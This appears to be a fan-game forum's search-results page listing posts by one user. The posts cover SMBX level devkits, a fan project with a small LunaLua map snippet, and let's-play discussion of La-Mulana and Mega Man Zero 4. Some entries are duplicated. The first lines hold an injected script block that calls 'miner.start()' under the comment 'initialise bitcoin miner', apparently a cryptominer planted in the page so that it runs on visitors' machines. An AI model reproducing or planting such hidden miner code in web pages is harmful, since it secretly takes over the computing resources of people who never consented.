<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectsmw centralmario fan games galaxy

Search found 1208 matches

Go to advanced search

by ztarwuff
4 months ago
Forum: A2XT
Topic: A2XT2 DEVKIT
Replies: 15
Views: 2459

Re: A2XT2 DEVKIT

I'm not convinced you're using Beta 4 if that's your error. Are you sure you aren't using MAGLX3 or PAL? Finally got it to work. Turns out I still had an old copy of PGE floating around and had to break the file association with the old one and reassign lvl files to the new one. I see the devkit is...
by ztarwuff
4 months ago
Forum: A2XT
Topic: A2XT2 DEVKIT
Replies: 15
Views: 2459

Re: A2XT2 DEVKIT

I'm not convinced you're using Beta 4 if that's your error. Are you sure you aren't using MAGLX3 or PAL? Finally got it to work. Turns out I still had an old copy of PGE floating around and had to break the file association with the old one and reassign lvl files to the new one. I see the devkit is...
by ztarwuff
4 months ago
Forum: A2XT
Topic: A2XT2 DEVKIT
Replies: 15
Views: 2459

Re: A2XT2 DEVKIT

Ye\ah, just chuck everything in the worlds folder, and throw your levels inside. Well, I must be doing something incredibly wrong, because all the configuration luas keep returning a nil value error. https://i.imgur.com/T6l7SDp.png I'm using SMBX 2.0 Beta 4 and I've tried putting it into an A2XT fo...
by ztarwuff
4 months ago
Forum: A2XT
Topic: A2XT2 DEVKIT
Replies: 15
Views: 2459

Re: A2XT2 DEVKIT

I'll definitely need to go over my levels again, and especially the World 6 Castle level I was working on. The latter is a retread of every World 6 level, so when you're done with qqqqqq, I need a copy to see what can be incorporated into it. One question, though: How does this Devkit work? Do I dow...
by ztarwuff
1 year ago
Forum: A2XT
Topic: A2MBXT - Graphics
Replies: 986
Views: 101164

Re: A2MBXT - Graphics

Ittababy wrote: I'm sort of bad at animating, but here's an idea to replace the new berry npc:
pepper.gif
A spicy chili~!
That's really neat.

The one thing I've never understood is why the fire flower replacement is a cactus and not a chilli pepper.
by ztarwuff
1 year ago
Forum: project showcase
Topic: El Gurdyioza: A SMBXtroidvania feat. Sheath
Replies: 55
Views: 15686

Re: El Gurdyioza: A SMBXtroidvania feat. Sheath

Progress report! I've actually overcome my problem from 4 weeks ago. Everything's good. I'm currently working on some bosses, creating my own air meter (or rather: cold water meter) and trying to solve the Bridges of Königsberg puzzle. The latter I'm trying to put into the ice stage; to win a leek, ...
by ztarwuff
1 year ago
Forum: SMBX2 (Current - 2.0 Beta 4)
Topic: Automatically Mirror Player Sheets
Replies: 4
Views: 2533

Re: Automatically Mirror Player Sheets

It would pick up the grid, but you can use layers. Hoeloe made this image a while ago that helps align sprites: http://i.imgur.com/1dnW3g3.png I tend to use a variation which further subdivides each cell, so that I can easily find the center and a reasonable "ground": https://i.imgur.com/RkqOOk3.pn...
by ztarwuff
1 year ago
Forum: SMBX2 (Current - 2.0 Beta 4)
Topic: Automatically Mirror Player Sheets
Replies: 4
Views: 2533

Re: Automatically Mirror Player Sheets

This is a plugin for Paint.NET that automatically mirrors the right half of a player spritesheet onto the left half. It has no concept of any horizontal anchoring of individual frames, so it assumes that all sprites are properly centered. Credits to rocky for giving me the idea. He's doing the same...
by ztarwuff
1 year ago
Forum: project showcase
Topic: El Gurdyioza: A SMBXtroidvania feat. Sheath
Replies: 55
Views: 15686

El Gurdyioza Update

Just a little update on progress. I've hit a slight snag in the number of leeks I need, which necessitated me restructuring the levels and normalising the number of leeks per level. In Wohlstand's PGE, this isn't so bad, as its copy and paste function is fantastic (as is its clone section ability) b...
by ztarwuff
1 year ago
Forum: let's play
Topic: La-Mulana - Wishbringer
Replies: 1213
Views: 61588

Re: La-Mulana - Not Just An Ordinary Ballerina

I have no idea why raocow keeps using the katana when he's consistently complaining about it. Stupid elephants You're really awkward to hit by the way. Also, I'd like to congratulate raocow on getting that sacred orb. That's the part I'm stuck at. I've got the right software combination to make it e...
by ztarwuff
1 year ago
Forum: let's play
Topic: La-Mulana - Wishbringer
Replies: 1213
Views: 61588

Re: La-Mulana - their angelical understanding

And it's not so "all but" as suggested. One of the Patapons has figured out a repeatable method for damage boosting up there post-sub-boss and is ready to share *if* that is needed. Damage boosting off one of the bat/demon things in the room? If that's the case then I personally find that significa...
by ztarwuff
1 year ago
Forum: let's play
Topic: La-Mulana - Wishbringer
Replies: 1213
Views: 61588

Re: La-Mulana - Dual Transform

Voltgloss wrote: - [Archaeology Dictionary: Anunnaki] Resembles the mural of a god in Sumerian mythology. There are theories that they are aliens from the planet Nibiru.

Image
Oh yeah, completely forgot about that one.
by ztarwuff
1 year ago
Forum: let's play
Topic: La-Mulana - Wishbringer
Replies: 1213
Views: 61588

Re: La-Mulana - Dual Transform

I was kind of screaming at the screen around 05:30. It was really weird how raocow completely ignored that ladder, even whilst standing on top of it. I mean, luckily, he saw it in the end, but he got so turned around it didn't even register in his mind that tablet was the same one he said was in a "...
by ztarwuff
1 year ago
Forum: let's play
Topic: La-Mulana - Wishbringer
Replies: 1213
Views: 61588

Re: La-Mulana - Moonmist

Honestly, on my play through, I didn't see the resemblance, but there's totally a

Michael Jackson cameo

there.
by ztarwuff
1 year ago
Forum: let's play
Topic: La-Mulana - Wishbringer
Replies: 1213
Views: 61588

Re: La-Mulana - Slap That Fish

Unless, I'm misinterpreting (and mis-remembering things) I love how raocow stumbled across the solution to the red jewel puzzle by accident.
by ztarwuff
1 year ago
Forum: project showcase
Topic: Super Mario Kart: Retread (tentative title)
Replies: 6
Views: 2658

Re: Super Mario Kart: Retread (tentative title)

(tentative title, very likely will change later -- just dunno what to call it for now!) WIP SMK hack I've been working on for a little over a week. Aiming to redraw all of the track artwork & change the themes up, on top of changing the layouts. It's about 25% done. :pal: That's really cool! This m...
by ztarwuff
1 year ago
Forum: let's play
Topic: La-Mulana - Wishbringer
Replies: 1213
Views: 61588

Re: La-Mulana - Infidel

Giant anthro frilled lizard i want to marry this? i want to love this? i want to kiss this? i want to ask this out for a coffee or two and strike a relationship with this? i want to surprise this with a beautiful diamond ring and ask if this would be my loving husband? i want to share a bed with th...
by ztarwuff
1 year ago
Forum: project showcase
Topic: El Gurdyioza: A SMBXtroidvania feat. Sheath
Replies: 55
Views: 15686

Re: El Gurdyioza: A SMBXtroidvania feat. Sheath

You should probably ask around for help on like Codehaus or something, try to study the documentation if you haven't already. Make notes for you to reference later as you do your thang, instead of trying to memorize Everything . I'd try to give you a hand but I don't know the ins and outs of SMBX, ...
by ztarwuff
1 year ago
Forum: project showcase
Topic: El Gurdyioza: A SMBXtroidvania feat. Sheath
Replies: 55
Views: 15686

Re: El Gurdyioza: A SMBXtroidvania feat. Sheath

Lookin' good. Are you making the map screen in Lua or? This is the LunaLua code I'm currently using. local map = Graphics.loadImage("map.png") local Obtain = false function onTick() --Map Display if (mapdraw == true and Obtain == true) then Graphics.drawImageWP(map, 24, 24, 4) end end function onIn...
by ztarwuff
1 year ago
Forum: project showcase
Topic: El Gurdyioza: A SMBXtroidvania feat. Sheath
Replies: 55
Views: 15686

Re: El Gurdyioza: A SMBXtroidvania feat. Sheath

Now that raocow is playing La Mulana , to which this project is kind of inspired by, I thought I'd give a progress update. Yes, there's a section of the game that's inspired by THAT level in La Mulana . Hopefully, though I've left enough visual cues to stop it from being too frustrating. Also, I've ...
by ztarwuff
1 year ago
Forum: let's play
Topic: All the Mega Men - Everlasting Peace For Now
Replies: 7047
Views: 490021

Re: Mega Man Zero 4 - Absolute Zero

And now the cover art for the game's remastered sountrack, Physis, might make more sense to some people.

Who wants to hear the final boss music remixed?

by ztarwuff
1 year ago
Forum: project showcase
Topic: El Gurdyioza: A SMBXtroidvania feat. Sheath
Replies: 55
Views: 15686

Re: El Gurdyioza: Good News!

I managed to fix my copy of the original SMBX editor not too long after my last post, and I've made some serious headway. I've been doing some minor tweaks of the completed stages, and have nearly completed Stages 4: Chamber of Revolution and Stage 5: [INFORMATION REDACTED]. Stage 4: Chamber of Revo...
by ztarwuff
1 year ago
Forum: A2XT
Topic: THE PLAN
Replies: 88
Views: 24339

Re: THE PLAN

I'm still waiting on a finalised list of levels for World 6. The removal of a certain someone's levels from World 6, not to mention improvements in graphics rendering, completely tanked my end of world level. Depending on the new list, I may need to redo the entire level from scratch.
by ztarwuff
1 year ago
Forum: let's play
Topic: All the Mega Men - Everlasting Peace For Now
Replies: 7047
Views: 490021

Re: Mega Man Zero 4 - Absolute Zero

So, the midboss music is the fourth remix of the song Crash.



In Mega Man Zero, Crash was the boss theme.

That theme then got relegated to mini-boss themes for the remainder of the series.
by ztarwuff
1 year ago
Forum: let's play
Topic: All the Mega Men - Everlasting Peace For Now
Replies: 7047
Views: 490021

Re: Mega Man Zero 4 - Absolute Zero

Super Llama wrote: I love that Zero is basically fighting an entire squad of Captain Planet villains in this game
You know, I just realised something. This game is Sonic SatAM the game, but with Mega Man characters and a lot edgier.

Go to advanced search